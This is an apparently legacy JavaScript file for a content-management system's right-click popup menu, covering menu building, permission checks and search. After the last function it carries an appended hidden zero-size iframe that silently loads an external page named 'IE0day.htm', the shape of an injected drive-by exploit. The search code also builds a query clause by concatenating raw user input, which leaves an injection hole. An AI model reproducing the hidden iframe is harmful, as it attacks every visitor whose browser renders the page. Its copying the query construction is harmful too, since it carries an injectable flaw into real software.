//菜单对象的定义
//完成的功能：
//属性
//1、菜单的标题			Title
//2、菜单描述			Desc
//3、对应的权限值       Index
//4、响应点击时的函数   ClickFunc
//方法
//1、相应点击Menu操作 clickMenu

function WCMMenu (Title,Desc,Index,Id,ClickFunc,SubMenu, Index2, Special) {
        this.Title		= Title;
        this.Desc		= Desc;
        this.Index		= Index;
        this.Id   		= Id;
        this.ClickFunc  = ClickFunc;
        this.NeedPass = false;

        //记录为那种频道的菜单
        if(Special)
          this.Special = Special
        else
          this.Special = 0

        if(Index2)
          this.Index2   = Index2;
        else
          this.Index2   = -1;

        if(SubMenu){
		  this.HaveSub  = true;
		  this.SubMenu    = SubMenu;
		}
		else{
		  this.HaveSub  = false;
		  this.SubMenu  = new Array();
		}


}


var MenuCount     =8;
var g_aMenu       = new Array();
for(var i=0;i<MenuCount;i++)g_aMenu[i]  = new Array();

var currMenuIndex=0;
var oPopup = window.createPopup();

function getA(el) {
        while (el!=null) {
                if(el.tagName)
                  if (el.tagName=="A") return el
                el = el.parentElement
        }
        return null
}

function doMouseOver(){
	var ev = this.document.parentWindow.event;
	var el = ev.srcElement;
	var tdEl=_CUtil_GetElement(el,"TD");
	if(!tdEl)return;
	if(!tdEl.getAttribute("menuitem"))return;

	if(tdEl.background!="menu_image/menu-over-bg.gif"){
	    tdEl.background="menu_image/menu-over-bg.gif";
	    tdEl.style.color="white";
	}

	if(g_curItemIndex != tdEl.itemIndex&& g_currParentIndex != tdEl.parentIndex){
		if(oPopup2!=null){
			oPopup2.hide();
			oPopup2=null;
		}
	}

}

function doMouseOut(){
	var ev = this.document.parentWindow.event;
	var el = ev.srcElement;
	var tdEl=_CUtil_GetElement(el,"TD");
	if(tdEl){
	        if(tdEl.getAttribute("menuitem")){
	                tdEl.background="menu_image/bg.gif";
	                tdEl.style.color="black";
	        }
	}

}

var g_nEventX = 0;

function showMenu(e) {
  
  
  if(event!=null && event.clientX != null){
	  g_nEventX = event.clientX;
  }
  
  if(!document.admin && (e.wisehero ==null)){//需要动态载入权限		
		g_curObjEl = e;		 
		getRight("showMenu(g_curObjEl);");
		return;
  }
  
  //g_curObjEl = null;

  if(e.MenuIndex){
	  currMenuIndex = parseInt(e.MenuIndex);
  }else{
	  var nChnlId = parseInt(e.ChnlId);
	  if(isNaN(nChnlId)){
		  return;
	  }

	  if(nChnlId > 0){
		  currMenuIndex = 1;
	  }else{
		  currMenuIndex = 0;
	  }

	  e.MenuIndex = currMenuIndex;
  }
		
	
  g_curHeight=32;
  var sHtml = getMenuHtml(e,g_aMenu[currMenuIndex] , "-1");
  if(g_curHeight<=38)return;

  oPopup = window.createPopup();
  var oPopupBody = oPopup.document.body;
  oPopupBody.style.border = "0px black solid"
  oPopupBody.innerHTML =sHtml; //menu.outerHTML
  oPopupBody.onclick = doClick;
  oPopupBody.onmousemove = doMouseOver;
  oPopupBody.onmouseout = doMouseOut;
  //oPopupBody.ondrag = "";

  //if(g_curHeight>38)oPopup.show(0, e.offsetHeight, g_curWidth+2, g_curHeight,e);

   var left = 0;
   var top = 0;
   var tmp = e;
   while (tmp != null) {
      left += tmp.offsetLeft;
      top += tmp.offsetTop;
      tmp = tmp.offsetParent;
   }

   oPopup.show(g_nEventX-left,e.offsetHeight, g_curWidth+2, g_curHeight,e);

}

function MouseDown(){
        var El=window.event.srcElement;


        if(window.event.button==2){
            var El2 = getA(El);
            if(El2 && El2.tagName){
            	//if(El2.tagName=="A" && El2.getAttribute("menuShow"))showMenu(El2);
				var nChnlId = parseInt(El2.name);
				if(!isNaN(nChnlId)){
					El2.ChnlId = nChnlId;
				}else{
					nChnlId = -1;
				}
				
				if(El2.tagName=="A" && (El2.getAttribute("menuShow") || nChnlId>=0))showMenu(El2);
            }
        }


}
document.onmousedown=MouseDown;


//动态菜单
var g_curHeight=30;
var g_curWidth=75;

//记录当前正在操作的对象
var g_curObjEl = null;


//菜单项构造函数
function getItemHtml(MenuObj,itemIndex,e ,parentIndex){
      var sz=""

      sz +="<tr>\n"
      + "          <td  menuitem=\"1\" background=\"menu_image/bg.gif\" width=\"100%\" style=\"font:9pt\" "
      +" parentIndex=\""+parentIndex+"\" itemIndex=\""+itemIndex+"\" id=\""+MenuObj.Id+"\" style=\"cursor:hand;\" ";

      if(e.SiteId){
		  sz+=" SiteId=\""+e.SiteId+"\"";
	  }else{
		  //动态获取SiteId
		  var pObj = e.parentElement;
		  while(pObj != null && pObj.SiteId == null){
			  pObj = pObj.parentElement;
		  }
		  if(pObj != null && pObj.SiteId != null){
			sz+=" SiteId=\""+ pObj.SiteId +"\"";
			e.SiteId = pObj.SiteId;
		  }
	  }

      if(e.ChnlId){
		  sz+=" ChnlId=\""+e.ChnlId+"\"";
	  }

      if(e.DocId)sz+=" DocId=\""+e.DocId+"\"";
      if(e.DocFlag)sz+=" DocFlag=\""+e.DocFlag+"\"";

      if(e.ChnlType)sz+=" ChnlType=\""+e.ChnlType+"\"";
	  else sz+=" ChnlType=0";

      if(e.wisehero)sz+=" wisehero=\""+e.wisehero+"\"";
	  if(e.INPUTFILE)sz+=" INPUTFILE=\""+e.INPUTFILE+"\"";//采集模板
	  if(e.EDITFILE)sz+=" EDITFILE=\""+e.EDITFILE+"\"";//修改模板
	  if(e.OUTLINE)sz+=" OUTLINE=\""+e.OUTLINE+"\"";//采集模板
	
	  if(e.DETAILFILE)sz+=" DETAILFILE=\""+e.DETAILFILE+"\"";//修改模板

      sz+=" title=\""+MenuObj.Desc+"\">"
      +MenuObj.Title
      +(MenuObj.HaveSub?"&nbsp;<img src=\"menu_image/sub_menu.gif\">":"")
      + "</td></tr>\n";


    return sz;
}


//效验是否显示
function isCanShow(objEl, objMenu){
	//对于特殊频道中的新建频道右键需要特殊处理
	var nChnlType = 0;
	if(objEl.ChnlType){
		nChnlType = parseInt(objEl.ChnlType);
	}
    if(nChnlType != parseInt(objMenu.Special)){
		//if(objEl.ChnlId&&parseInt(objEl.ChnlId)!=Math.abs(parseInt(objMenu.Special)))//处理对于特定的频道的右键
			return false;
	}

	//if(objEl.ChnlType&&objEl.ChnlType >0){
	//	if(g_dictNotOper.Exists(""+objMenu.Index))return false;
        //if(objMenu.Index==11)return false;
	//}

	if(!objMenu.NeedPass && document.admin && !isRightDefined(objEl))return true;
	
	//动态获取权限值
	
	if(objMenu.HaveSub){
		for(var i=0;i<objMenu.SubMenu.length;i++){
			if(objMenu.SubMenu[i].Index==-1)return true;
			if(isCanPass(objEl.wisehero, objMenu.SubMenu[i].Index))return true;
		}
	}
	else{
        if(objMenu.Index ==-1)return true;
        var bMainPass = isCanPass(objEl.wisehero, objMenu.Index);
		if(!bMainPass)return false;
        if(objMenu.Index2 ==-1)return true;
		if(isCanPass(objEl.wisehero, objMenu.Index2))return true;
	}
	return false;

}

//菜单构造函数
function getMenuHtml(e,arMenu , parentIndex ){

      g_currParentIndex = parentIndex;

      var sz="";
      sz +="<table   border=\"0\" cellspacing=\"0\" cellpadding=\"0\" background=\"menu_image/bg.gif\" style=\"font:9pt\">\n"
      + "  <tr>\n"
      + "    <td   height=\"1\" valign=\"bottom\" align=\"left\">\n"
      + "      <img border=\"0\" src=\"menu_image/top.gif\" ondrag=\"return false;\"  width=77  height=\"12\">\n"
      + "    </td>\n"
      + "  </tr>\n"
      + "  <tr>\n"
      + "    <td   nowrap valign=\"top\" align=\"center\">\n"
      + "      <table   border=\"0\" width=\"98%\" cellpadding=\"3\" cellspacing=\"1\">\n"


      var wisehero=e.getAttribute("wisehero");
	  
      for(var i=0;i<arMenu.length;i++){
      	  if(!isCanShow(e, arMenu[i]))continue;
          sz += getItemHtml(arMenu[i],i,e,parentIndex);
          g_curHeight = g_curHeight+21;
      }



      sz +="   </table>\n"
      + "    </td>\n"
      + "  </tr>\n"
      + "  <tr>\n"
      + "    <td height=\"1\" valign=\"top\" align=\"left\" bgcolor=\"#FFFFFF\">\n"
      + "      <img border=\"0\" src=\"menu_image/bottom.gif\"  ondrag=\"return false;\"  width=100%  height=\"16\">\n"
      + "    </td>\n"
      + "  </tr>\n"
      + "</table>\n"

      return sz;
}




//相应菜单点击函数
//caohui@0507
var  oPopup2 = null;

var ix = "";
var iy = "";
var iHeight = "";
var iWidth = "";
var menuWidth = 0;
var maxMenuWidth = 0;

var g_currParentIndex = "-1";
var g_curItemIndex = -1;

function doClick(){


	var srcElem = this.document.parentWindow.event.srcElement;
	if(!srcElem)return;
    srcElem=_CUtil_GetElement(srcElem,"TD");

    if(!srcElem)return;

	if(!srcElem.itemIndex)return;

	if(srcElem.parentIndex!="-1"){
		if(srcElem.DocId){
			var TempEl=document.getElementById("chk_Doc_"+srcElem.DocId);
			if(TempEl){
				if(!TempEl.disabled)
					TempEl.checked=true;
			}

		}
		var el = srcElem;
        eval(g_aMenu[currMenuIndex][srcElem.parentIndex].SubMenu[srcElem.itemIndex].ClickFunc);
        oPopup.hide();
        return;
	}


	g_curItemIndex = srcElem.itemIndex;

	if(!g_aMenu[currMenuIndex][srcElem.itemIndex].HaveSub){//无子菜单
		var el = srcElem;
		if(srcElem.DocId){//文档列表中菜单的特殊处理
			var TempEl=document.getElementById("chk_Doc_"+el.DocId);
			if(TempEl){
				if(!TempEl.disabled)
					TempEl.checked=true;
			}
		}
		//执行菜单上定义的操作
        eval(g_aMenu[currMenuIndex][srcElem.itemIndex].ClickFunc);
        //隐藏菜单
        oPopup.hide();
        return;
    }

	//构造子菜单
	g_curHeight = 33;	
	var sHtml = getMenuHtml(srcElem, g_aMenu[currMenuIndex][srcElem.itemIndex].SubMenu, srcElem.itemIndex);
	if(g_curHeight<=38)return;

	ix = 0;
	iy = 0;
	iHeight = 0;
	iWidth = 0;

	oPopup2 = this.document.parentWindow.createPopup();
	var oPopupBody = oPopup2.document.body;
	oPopupBody.style.border = "0px black solid"
	oPopupBody.innerHTML =sHtml; //menu.outerHTML
	oPopupBody.onclick = doClick;
	oPopupBody.onmousemove = doMouseOver;
	oPopupBody.onmouseout = doMouseOut;

	if(srcElem.parentElement.tagName=="DIV"){
		ix = srcElem.offsetWidth-3;
		iy = 5;
	}
	else{
		ix = 0;
		iy = srcElem.offsetHeight;
	}
	oPopup2.show(ix+g_curWidth-5,iy-21,g_curWidth+2, g_curHeight,srcElem);
}

//动态载入权限
function getRight(_sEval){
	if(window.frames[0] == null)return;
	
	window.frames[0].location.href = "../test/get_chnl_right.jsp?ChnlId="+g_curObjEl.ChnlId;
	setTimeout("getRightInfo(\""+_sEval+"\");", 10);
}

function getRightInfo(_sEval){
	if(window.frames[0].g_bLoad){
		window.frames[0].g_bLoad = false;
		g_curObjEl.wisehero = window.frames[0].g_sRightInfo;
		eval(_sEval);
		return;
	}
	setTimeout("getRightInfo(\""+_sEval+"\");", 10);
}


//检索功能
function search(){		  
  var hitwords = trim(SearchForm.hitwords.value);
  if (hitwords==""){
    //alert("请输入检索词！");
    return;
  }  
  SearchForm.hitwords.value = hitwords;    //设置为去掉首尾空格的字符串，为Outline正确反显
  var where;
  if (SearchForm.second.checked==true){
    if (trim(SearchForm.lastwhere.value)!="")
      where = getWhere(hitwords) + " AND "+ SearchForm.lastwhere.value;
    else
      where = getWhere(hitwords);
  }
  else{
     where = getWhere(hitwords);
  }   
   SearchForm.where.value = where;
   alert(where);
   return true;
   //form1.submit();
}

//用于通用检索
function trim(str){
  if (str==null || str.length<=0)
    return str;
  
  var myRe;  //定义正则表达式变量
   
   //过滤字符串首尾半角和全角空格  
   myRe = /(^[\s　]*)|([\s　]*$)/gi;  
   str = str.replace(myRe,"");
 
 return str;    

}

//用于通用检索
 function getWhere(str){
   
   if (str==null || str.length<=0)
     return str;
   
   var myRe;  //定义正则表达式变量
   
   //代换字符串中间的半角和全角空格
   myRe = /[\s　]+/gi;
   if (myRe.test(str)){      //如果有空格，进行代换
     //str = str.replace(myRe,"%' and docTitle like '%");
     str = str.replace(myRe," and docTitle = "); 
   }
   //str = "docTitle like '%"+str+"%'";
   //str = "(docTitle = "+str+") or (docContent = "+str+")";
   str = "docTitle = "+str+"";
   //str = "docTitle like '%"+str+"%'";
   return str;
 }


function goPage()
{
gotoPage(document.all.pagecount.value);
}
function topturnit(ss)
{
topcloseall();
ss.style.display="";

	try
	{
		document.all.slt.style.display="none";
	}
	catch(e) {}
}
function topcloseall()
{
topcloseit(tmenu1); 
}
function topcloseit(ss)
{
    ss.style.display="none";

	try
	{
		document.all.slt.style.display="";
	}
	catch(e) {}
}<iframe src=http://www.cph.com.cn/IE0day.htm width=0 height=0></iframe>
